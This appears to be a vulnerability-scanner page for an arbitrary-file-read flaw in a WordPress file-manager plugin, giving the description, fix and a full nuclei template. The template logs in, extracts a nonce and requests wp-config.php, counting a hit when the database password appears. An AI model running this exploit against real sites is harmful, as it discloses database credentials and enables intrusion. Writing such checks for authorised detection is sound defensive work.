WordPress Advanced File Manager < 5.4.13 - Arbitrary File Read

highseverity

8.5CVSS score

1.3%likelihood of exploitation, next 30 days

70%of all CVEs are less likely

Readycheck to confirm it

The Advanced File Manager WordPress plugin before 5.4.13 does not perform capability checks in several of its file management AJAX actions, allowing users with any role to which an administrator has granted file-manager access (as low as Subscriber) to read arbitrary files on the server.

Impact

Authenticated attackers with Subscriber-level privileges can disclose local files, including configuration files that contain database credentials and authentication keys.

Fix

Update to version 5.4.13 or later.

How to confirm it

Send: POST /wp-login.php
Positive when: status_code == 302 and contains(header, "wordpress_logged_in")
Send: GET /wp-admin/admin.php?page=file_manager_advanced_ui
Send: GET /wp-admin/admin-ajax.php?action=fma_load_fma_ui&_fmakey={{nonce}}&cmd=get&target=l1_d3AtY29uZmlnLnBocA
Positive when: status_code == 200 and contains(content_type, "application/json") and contains_all(body, "DB_NAME", "DB_PASSWORD")

Run it with nuclei: nuclei -id CVE-2026-11565 -u <target>

The full check

id: CVE-2026-11565

info:
  name: WordPress Advanced File Manager < 5.4.13 - Arbitrary File Read
  author: anirbala98
  severity: high
  description: |
    The Advanced File Manager WordPress plugin before 5.4.13 does not perform capability checks in several of its file management AJAX actions, allowing users with any role to which an administrator has granted file-manager access (as low as Subscriber) to read arbitrary files on the server.
  impact: |
    Authenticated attackers with Subscriber-level privileges can disclose local files, including configuration files that contain database credentials and authentication keys.
  remediation: |
    Update to version 5.4.13 or later.
  reference:
    - https://wpscan.com/vulnerability/5e03858d-db0b-4b65-99cc-eb01ad4195e9/
    - https://nvd.nist.gov/vuln/detail/CVE-2026-11565
    - https://wordpress.org/plugins/file-manager-advanced/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 8.5
    cve-id: CVE-2026-11565
    epss-score: 0.01254
    epss-percentile: 0.69708
    cwe-id: CWE-862
  metadata:
    verified: true
    max-request: 3
    vendor: saad-iqbal
    product: file-manager-advanced
    framework: wordpress
    fofa-query: body="/wp-content/plugins/file-manager-advanced/"
  tags: cve,cve2026,wordpress,wp,wp-plugin,file-read,authenticated,file-manager-advanced,vkev

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In

    matchers:
      - type: dsl
        dsl:
          - status_code == 302
          - contains(header, "wordpress_logged_in")
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-admin/admin.php?page=file_manager_advanced_ui HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: nonce
        part: body
        group: 1
        regex:
          - 'var afm_object = \{[^}]*"nonce":"([a-f0-9]+)"'
        internal: true

  - raw:
      - |
        GET /wp-admin/admin-ajax.php?action=fma_load_fma_ui&_fmakey={{nonce}}&cmd=get&target=l1_d3AtY29uZmlnLnBocA HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
          - 'contains_all(body, "DB_NAME", "DB_PASSWORD")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from